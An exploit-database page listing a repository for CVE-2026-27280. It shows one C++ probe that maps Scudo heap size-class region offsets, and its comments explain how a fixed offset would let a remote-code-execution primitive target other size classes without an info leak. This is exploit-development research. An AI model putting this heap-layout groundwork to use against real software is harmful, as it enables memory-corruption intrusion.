Exploit databaseDownload repository ZIP
GH-b72bf8a065b2fa376d029f4cedd11a24
r3n3r0/cve-2026-27280
Sources for CVE-2026-27280
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files15
r3n3r0/cve-2026-27280Revision e25cb94988d6
- ↑..Parent directory
- band_probe.cpp
- band_probe_concurrent.cpp
- canary_aimg.cpp
- class_survey.cpp
- gen_stride_dng.cpp
- inject_imagestats.py
- leak_probe.cpp
- probe_planes_aimg.cpp
- probe_planes_sdk.cpp
- probe_scudo_header.cpp
- probe_scudo_regions.cpp
- scaled_decode_aimg.cpp
- stride_vs_scudo.cpp
- sweep_aimg.cpp
- vtable_victim_aimg.cpp
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
06-rce-lab/src/probe_scudo_regions.cpp
C++ · 2,136 bytes// Is the distance between Scudo size-class regions a constant?
//
// Scudo's 64-bit primary gives every size class its own region inside one big
// reservation. If the regions are laid out at a fixed stride, then the offset
// from the render temp buffer's class to, say, the 32-byte class is a CONSTANT --
// computable ahead of time, needing no info leak, exactly like the rest of this
// primitive (the displacement is relative, so ASLR does not matter).
//
// If instead each region base is independently randomised, a cross-class jump is
// a lottery and cross-class targeting is off the table.
//
// Prints, per run, the untagged base of each class region and the delta to the
// 16448-byte class (the temp buffer's class for a 64x64 trigger).
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <vector>
#include <algorithm>
#define UNTAG(x) ((uintptr_t) ((x) & 0x00FFFFFFFFFFFFFFull))
static const size_t kSizes[] = { 16, 32, 48, 64, 96, 128, 256, 512, 1024,
4096, 16448, 32768 };
static const int kN = (int) (sizeof (kSizes) / sizeof (kSizes[0]));
int main (int argc, char **argv)
{
int reps = (argc > 1) ? atoi (argv[1]) : 1;
for (int r = 0; r < reps; r++)
{
uintptr_t base[kN];
for (int i = 0; i < kN; i++)
{
std::vector<void *> keep;
uintptr_t lo = UINTPTR_MAX;
// enough chunks to be confident we have seen the region's low end
int n = (kSizes[i] >= 16384) ? 64 : 512;
for (int k = 0; k < n; k++)
{
void *p = malloc (kSizes[i]);
if (!p) break;
keep.push_back (p);
uintptr_t u = UNTAG ((uintptr_t) p);
if (u < lo) lo = u;
}
base[i] = lo;
for (void *p : keep) free (p);
}
printf ("run %d\n", r);
printf (" %-8s %-18s %s\n", "size", "region low", "delta to 16448-class");
uintptr_t ref = 0;
for (int i = 0; i < kN; i++) if (kSizes[i] == 16448) ref = base[i];
for (int i = 0; i < kN; i++)
{
long long d = (long long) base[i] - (long long) ref;
printf (" %-8zu 0x%014lx %+lld (%+.1f MB)\n",
kSizes[i], base[i], d, (double) d / (1024.0 * 1024.0));
}
printf ("\n");
}
return 0;
}